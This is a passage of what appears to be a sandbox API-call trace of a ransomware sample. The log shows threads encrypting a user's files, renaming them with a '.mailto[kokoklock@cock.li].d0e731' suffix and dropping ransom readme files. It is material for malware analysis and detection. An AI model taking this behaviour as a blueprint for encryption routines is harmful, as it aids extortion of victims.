Size=0x20) returned 0x341e690 [0071.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e780 [0071.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e780) returned 1 [0071.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0071.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0071.876] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x141bfac0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x141bfac0*=0x4096, lpOverlapped=0x0) returned 1 [0071.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.877] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e730*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x141bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x341e730*, lpNumberOfBytesWritten=0x141bfb1c*=0x20, lpOverlapped=0x0) returned 1 [0071.877] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e758*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x141bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x341e758*, lpNumberOfBytesWritten=0x141bfb1c*=0x20, lpOverlapped=0x0) returned 1 [0071.877] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e690*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x141bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x341e690*, lpNumberOfBytesWritten=0x141bfb1c*=0x20, lpOverlapped=0x0) returned 1 [0071.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.878] WriteFile (in: hFile=0x7bc, lpBuffer=0x3423130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x141bfb24, lpOverlapped=0x0 | out: lpBuffer=0x3423130*, lpNumberOfBytesWritten=0x141bfb24*=0x8, lpOverlapped=0x0) returned 1 [0071.878] WriteFile (in: hFile=0x7bc, lpBuffer=0x141bfb3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x141bfb24, lpOverlapped=0x0 | out: lpBuffer=0x141bfb3c*, lpNumberOfBytesWritten=0x141bfb24*=0x4, lpOverlapped=0x0) returned 1 [0071.878] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x141bfb24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x141bfb24*=0x4, lpOverlapped=0x0) returned 1 [0071.878] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x141bfb24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x141bfb24*=0x6c, lpOverlapped=0x0) returned 1 [0071.878] WriteFile (in: hFile=0x7bc, lpBuffer=0x3422e88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x141bfb24, lpOverlapped=0x0 | out: lpBuffer=0x3422e88*, lpNumberOfBytesWritten=0x141bfb24*=0x20, lpOverlapped=0x0) returned 1 [0071.878] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x141bfb24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x141bfb24*=0x4, lpOverlapped=0x0) returned 1 [0071.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0071.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.878] CloseHandle (hObject=0x7bc) returned 1 [0071.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34bef18 [0071.878] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" [0071.878] wcscat (in: _Dest=0x34bef18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" [0071.879] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.879] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0071.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0071.879] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", dwFileAttributes=0x2020) returned 0 [0071.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33ccff0 [0071.879] wcscpy (in: _Dest=0x33ccff0, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" [0071.879] wcscat (in: _Dest=0x33ccff0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\D0E731-Readme.txt" [0071.880] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\d0e731-readme.txt")) returned 0xffffffff [0071.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.880] WriteFile (in: hFile=0x7bc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x141bfb20, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x141bfb20*=0x481, lpOverlapped=0x0) returned 1 [0071.881] CloseHandle (hObject=0x7bc) returned 1 [0071.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccff0) returned 1 [0071.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd6f0) returned 1 [0071.881] RtlExitUserThread (Status=0x1) Thread: id = 489 os_tid = 0x10dc [0071.829] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx")) returned 0x20 [0071.829] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0071.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0071.830] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x1423fdb8 | out: lpFileSize=0x1423fdb8*=0) returned 1 [0071.830] CloseHandle (hObject=0x3ac) returned 1 [0071.830] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0071.830] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e500) returned 1 [0071.830] RtlExitUserThread (Status=0x0) Thread: id = 490 os_tid = 0x10e0 [0071.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3427138 [0071.831] wcscpy (in: _Dest=0x3427138, _Source="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private" [0071.831] wcscat (in: _Dest=0x3427138, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\" [0071.831] wcscat (in: _Dest=0x3427138, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*" [0071.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d3f8 [0071.831] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433868 [0071.832] wcscmp (_String1=".", _String2=".") returned 0 [0071.832] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.832] wcscmp (_String1="..", _String2=".") returned 1 [0071.832] wcscmp (_String1="..", _String2="..") returned 0 [0071.832] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0071.832] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0071.832] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0071.833] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342d3f8 | out: lpFindFileData=0x342d3f8*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0071.833] FindClose (in: hFindFile=0x3433868 | out: hFindFile=0x3433868) returned 1 [0071.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d3f8) returned 1 [0071.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427138) returned 1 [0071.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427000) returned 1 [0071.833] RtlExitUserThread (Status=0x0) Thread: id = 491 os_tid = 0x10e4 [0071.834] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a")) returned 0x20 [0071.834] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a", dwFileAttributes=0x20) returned 1 [0071.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0071.834] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x1433f8b0 | out: lpFileSize=0x1433f8b0*=11762) returned 1 [0071.834] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x2dee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.834] ReadFile (in: hFile=0x3ac, lpBuffer=0x1433f884, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1433f880, lpOverlapped=0x0 | out: lpBuffer=0x1433f884*, lpNumberOfBytesRead=0x1433f880*=0x4, lpOverlapped=0x0) returned 1 [0071.834] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0071.835] NtQuerySystemTime (in: CurrentTime=0x1433f85c | out: CurrentTime=0x1433f85c*=132121176297285444) returned 0x0 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x925db45c [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x38e4ccd7 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x4f940f45 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x5330d64 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x6c6fdc17 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xeba9e350 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xe4f2bde2 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xd56321d3 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xcf1f40b [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xad725573 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xd789cc58 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xca710f03 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xb53d1aef [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x5f6e739 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x911a741d [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xcb5ce4f3 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x30b64ace [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xd9676e50 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x8c85b90e [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x52eb3ee8 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x893b7079 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x11c089d3 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x54d920cf [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xe1321ee1 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xa5fb5266 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xd01a4635 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0xd5bf8fb4 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x24a74231 [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x9ea9e33b [0071.835] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x2676fb06 [0071.836] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x86d34dbe [0071.836] RtlRandom (in: Seed=0x1433f868 | out: Seed=0x1433f868) returned 0x28cc9a38 [0071.848] ReadFile (in: hFile=0x3ac, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x2df2, lpNumberOfBytesRead=0x1433f85c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1433f85c*=0x2df2, lpOverlapped=0x0) returned 1 [0071.849] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1433f824 | out: lpNewFilePointer=0x0) returned 1 [0071.849] WriteFile (in: hFile=0x3ac, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x2df2, lpNumberOfBytesWritten=0x1433f858, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1433f858*=0x2df2, lpOverlapped=0x0) returned 1 [0071.849] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341edc0 [0071.849] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ef28 [0071.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ef28) returned 1 [0071.849] WriteFile (in: hFile=0x3ac, lpBuffer=0x341edc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1433f854, lpOverlapped=0x0 | out: lpBuffer=0x341edc0*, lpNumberOfBytesWritten=0x1433f854*=0x20, lpOverlapped=0x0) returned 1 [0071.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341edc0) returned 1 [0071.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0071.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0071.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0071.849] WriteFile (in: hFile=0x3ac, lpBuffer=0x341ee88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1433f880, lpOverlapped=0x0 | out: lpBuffer=0x341ee88*, lpNumberOfBytesWritten=0x1433f880*=0x8, lpOverlapped=0x0) returned 1 [0071.849] WriteFile (in: hFile=0x3ac, lpBuffer=0x1433f898*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1433f880, lpOverlapped=0x0 | out: lpBuffer=0x1433f898*, lpNumberOfBytesWritten=0x1433f880*=0x4, lpOverlapped=0x0) returned 1 [0071.850] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1433f880, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1433f880*=0x4, lpOverlapped=0x0) returned 1 [0071.850] WriteFile (in: hFile=0x3ac, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1433f880, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1433f880*=0x6c, lpOverlapped=0x0) returned 1 [0071.850] WriteFile (in: hFile=0x3ac, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1433f880, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0x1433f880*=0x20, lpOverlapped=0x0) returned 1 [0071.850] WriteFile (in: hFile=0x3ac, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1433f880, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1433f880*=0x4, lpOverlapped=0x0) returned 1 [0071.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0071.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee88) returned 1 [0071.850] CloseHandle (hObject=0x3ac) returned 1 [0071.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34bef18 [0071.850] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a" [0071.850] wcscat (in: _Dest=0x34bef18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" [0071.850] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\crd9rozx-rjgv.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.851] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0071.851] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\CRd9ROZx-rjGv.m4a", dwFileAttributes=0x20) returned 0 [0071.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd3f0 [0071.851] wcscpy (in: _Dest=0x33cd3f0, _Source="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\" [0071.851] wcscat (in: _Dest=0x33cd3f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" [0071.851] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\d0e731-readme.txt")) returned 0xffffffff [0071.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0071.854] WriteFile (in: hFile=0x3ac, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1433f87c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1433f87c*=0x481, lpOverlapped=0x0) returned 1 [0071.855] CloseHandle (hObject=0x3ac) returned 1 [0071.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd3f0) returned 1 [0071.855] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccf70) returned 1 [0071.855] RtlExitUserThread (Status=0x1) Thread: id = 492 os_tid = 0x1374 [0071.856] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3")) returned 0x20 [0071.856] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3", dwFileAttributes=0x20) returned 1 [0071.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa\\PmQ_l.mp3" (normalized: "c:\\users\\fd1hvy\\music\\seqkctydumt1mrwa\\pmq_l.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0071.856] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x143bfe88 | out: lpFileSize=0x143bfe88*=52767) returned 1 [0071.856] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xce1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.856] ReadFile (in: hFile=0x3ac, lpBuffer=0x143bfe5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x143bfe58, lpOverlapped=0x0 | out: lpBuffer=0x143bfe5c*, lpNumberOfBytesRead=0x143bfe58*=0x4, lpOverlapped=0x0) returned 1 [0071.856] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0071.857] NtQuerySystemTime (in: CurrentTime=0x143bfe34 | out: CurrentTime=0x143bfe34*=132121176297441688) returned 0x0 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0xf5b2ef94 [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x2611711a [0071.857] RtlRandom (in: Seed=0x143bfe40 | out: Seed=0x143bfe40) returned 0x1c7c9df3 [0071.857] RtlRandom (in: 